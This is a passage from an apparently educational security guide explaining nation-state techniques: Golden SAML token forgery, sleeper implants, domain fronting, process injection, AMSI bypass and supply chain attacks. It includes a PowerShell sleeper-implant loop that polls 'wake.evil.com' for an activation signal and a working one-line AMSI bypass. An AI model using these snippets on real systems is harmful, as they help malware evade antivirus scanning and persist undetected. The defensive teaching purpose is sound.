Advanced Techniques: The Scary Stuff
These are the techniques that keep security professionals up at night. Persistence mechanisms that survive credential resets. Implants that remain dormant for years. The techniques used by nation-state actors in operations like SolarWinds.
The techniques in this section represent the apex of offensive capability. They're used by well-resourced threat actors (APT groups, intelligence agencies) in high-value operations. Detection and remediation are extremely difficult.
Golden SAML: The Nuclear Option
This is the "One More Thing" that should keep you up at night.
What Is SAML?
SAML (Security Assertion Markup Language) is how your organization enables single sign-on (SSO) to cloud services:
┌────────────┐ ┌────────────────────┐ ┌─────────────────┐
│ USER │ │ ADFS Server │ │ Cloud Service │
│ │ │ (Identity Provider)│ │ (O365, AWS) │
└─────┬──────┘ └──────────┬─────────┘ └────────┬────────┘
│ │ │
│ 1. User wants to │ │
│ access O365 │ │
│ ─────────────────────┼───────────────────────►│
│ │ │
│ │ 2. Redirect to ADFS │
│ ◄────────────────────┼────────────────────────│
│ │ │
│ 3. Authenticate │ │
│ (password, MFA) │ │
│ ─────────────────────► │
│ │ │
│ 4. ADFS creates │ │
│ SAML token, │ │
│ SIGNS it with │ │
│ private key │ │
│ ◄───────────────────── │
│ │ │
│ 5. User presents │ │
│ signed token │ │
│ ─────────────────────┼───────────────────────►│
│ │ │
│ │ 6. O365 validates │
│ │ signature using │
│ │ ADFS public key │
│ │ │
│ 7. Access granted │ │
│ ◄────────────────────┼────────────────────────│
│ │ │
The token is trusted because it's signed by ADFS's private key.
O365 has ADFS's public key, can verify the signature.
The Attack: Golden SAML
If an attacker steals the ADFS token-signing certificate (private key), they can forge SAML tokens for any user to any federated service.
┌────────────┐ ┌─────────────────┐
│ ATTACKER │ │ Cloud Service │
│ │ │ (O365, AWS) │
└─────┬──────┘ └────────┬────────┘
│ │
│ 1. Attacker already has: │
│ - Stolen ADFS token-signing certificate │
│ - Private key for signing │
│ │
│ 2. Attacker forges SAML token: │
│ "I am the CEO" │
│ "I am Global Admin" │
│ Signs with stolen private key │
│ │
│ 3. Attacker presents forged token │
│ ─────────────────────────────────────────────► │
│ │
│ O365 checks signature... │
│ Signature is VALID (same key as real ADFS) │
│ O365 has no way to know token is forged │
│ │
│ 4. Access granted as CEO / Global Admin │
│ ◄───────────────────────────────────────────── │
│ │
NO PASSWORD NEEDED.
NO MFA TO BYPASS.
The token is cryptographically valid.
Why It's Devastating
- Any user identity: Impersonate anyone in the organization
- Any federated service: O365, AWS, Salesforce, whatever you've federated
- No authentication required: Just the forged token
- MFA bypassed: Token is post-authentication
- Nearly undetectable: Token is cryptographically valid
- Persistent access: Until certificate is rotated
The SolarWinds Connection
The SolarWinds attackers (APT29/Cozy Bear) used Golden SAML extensively:
- Compromised on-premises networks via SolarWinds Orion
- Escalated to domain admin
- Extracted ADFS token-signing certificate
- Forged SAML tokens to access cloud resources
- Maintained access even after on-prem cleanup
Detection is nearly impossible because:
- Token is cryptographically valid
- Looks like legitimate authentication
- No on-premises log—forged token goes direct to cloud
- If ADFS wasn't involved, ADFS has no log of "authentication"
The fix? Rotate your ADFS certificate. Which breaks all your federated trusts until you redistribute it. Most organizations don't even know where their ADFS certificate is stored.
Sleeper Implants: The Patient Approach
Everything described so far assumes the attacker wants something now. Nation-state actors think in years.
The Sleeper Concept
TRADITIONAL ATTACK:
Day 1: Compromise
Day 1: Persistence
Day 1: Beacon starts
Day 2: Reconnaissance
Day 3: Lateral movement
Day 7: Exfiltration
Day 8: Detection (maybe)
SLEEPER ATTACK:
Day 1: Compromise
Day 1: Persistence
Day 1-365: NOTHING. No beacon. No activity. No detection.
Day 366: Geopolitical event makes target strategically important
Day 366: Wake-up signal triggers activation
Day 367: Full operation beginsHow Sleepers Work
# Sleeper implant - conceptual example
# Persistence mechanism installs this at boot
# But the payload checks for activation before doing anything
function Check-Activation {
# Check for wake-up signal
# Could be a DNS TXT record, a specific file on a web server, etc.
try {
$response = Resolve-DnsName -Name "wake.evil.com" -Type TXT -ErrorAction Stop
if ($response.Strings -contains "activate-2024") {
return $true
}
} catch {
# DNS failed, stay asleep
}
return $false
}
# Main loop
while ($true) {
if (Check-Activation) {
# Time to wake up
Start-FullOperation
break
}
# Not activated, sleep for 24 hours and check again
Start-Sleep -Seconds 86400
}
# During dormancy:
# - No beacon traffic
# - No suspicious process behavior
# - Just a single DNS query per day (looks normal)
# - Invisible to behavioral detectionDetection During Dormancy: Nearly Impossible
| Detection Method | Why It Fails |
|---|---|
| Network monitoring | No network traffic during dormancy |
| Behavioral analysis | No suspicious behavior—just sleeping |
| EDR alerts | Nothing to alert on |
| Memory scanning | Sleeper might not even be in memory until triggered |
| File scanning | Persistence mechanism might use LOLBins |
Real-World Example: SolarWinds Again
The SolarWinds implant (SUNBURST) waited 14 days before beaconing. Why? Sandboxes don't wait 2 weeks for malware to "do something."
Nation-state actors wait even longer. Months. Years. The implant sits dormant until they need it.
Your network might be compromised right now by something that hasn't started operating yet.
There's no behavior to detect because there is no behavior—yet.
Domain Fronting
Make C2 traffic appear to go to legitimate services like Google or Cloudflare.
How It Works
NORMAL HTTPS REQUEST:
TLS SNI: evil.com
HTTP Host: evil.com
Actual destination: evil.com
DOMAIN FRONTED REQUEST:
TLS SNI: www.google.com ← Firewall sees this (legitimate)
HTTP Host: evil.appspot.com ← CDN routes based on this
Actual destination: evil.com's infrastructure on Google Cloud
The firewall sees traffic to Google.
The CDN (Google's infrastructure) sees the inner Host header.
The CDN routes to the attacker's actual backend.
Attacker hides behind Google's reputation.Why It (Mostly) Stopped Working
Major CDN providers (Google, Amazon, Cloudflare) have disabled this technique after it was publicly documented and abused. But variations still exist, and smaller CDNs may still be vulnerable.
Process Hollowing / Injection
Run malicious code inside legitimate processes to evade detection.
Techniques
| Technique | Description | Detection |
|---|---|---|
| Process Hollowing | Start suspended process, hollow out its memory, inject malicious code, resume | Memory doesn't match executable on disk |
| DLL Injection | Force target process to load malicious DLL | Unusual DLLs loaded in processes |
| Thread Injection | Create remote thread in target process to execute code | CreateRemoteThread API calls |
| Process Doppelgänging | Use NTFS transactions to create process from transacted file | Very difficult, requires advanced EDR |
# Process Hollowing - conceptual flow
1. Start legitimate process (svchost.exe) in suspended state
2. Allocate memory in target process
3. Write malicious code to allocated memory
4. Modify thread context to point to malicious code
5. Resume process
Result: svchost.exe is running, but its memory contains malware.
Process looks legitimate. File on disk is legitimate.
Only memory analysis reveals the truth.AMSI Bypasses
AMSI (Antimalware Scan Interface) lets AV scan scripts before execution. Attackers try to disable or bypass it.
# AMSI Bypass - Reflection method (simplified)
# Patches AMSI in memory so it always returns "content is OK"
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# After this runs, AMSI is disabled for this PowerShell session
# AV can't scan subsequent commands
# Note: Specific bypasses get patched quickly
# This is a cat-and-mouse gameModern EDR watches for AMSI bypass attempts:
- Monitoring for access to AmsiUtils
- Watching for memory modifications to AMSI DLL
- Detecting common bypass patterns
Supply Chain Attacks
Don't attack the target directly—attack something they trust.
Attack Vectors
- Software updates: Compromise update server (SolarWinds)
- Development tools: Inject into build systems
- Open source: Contribute malicious code to dependencies
- Hardware: Implants in firmware or chips
- MSPs: Compromise managed service providers to reach all clients
The SolarWinds attack compromised the build process. Every customer who updated got the implant. 18,000+ organizations.
The Asymmetry Revisited
Attackers
- Can wait years for the right moment
- Need to succeed once
- Choose time, place, method
- Invisible during dormancy
- Bypass authentication entirely (Golden SAML)
Defenders
- Must detect before damage
- Must succeed every time
- React to attacker choices
- Can't detect what isn't happening
- Must protect every authentication path
This is the reality of cybersecurity at the highest levels. The techniques exist. They're being used. Nation-state actors have near-unlimited resources and patience.
Defense is about making attacks expensive and increasing the chance of detection before objectives are achieved. Perfect security doesn't exist.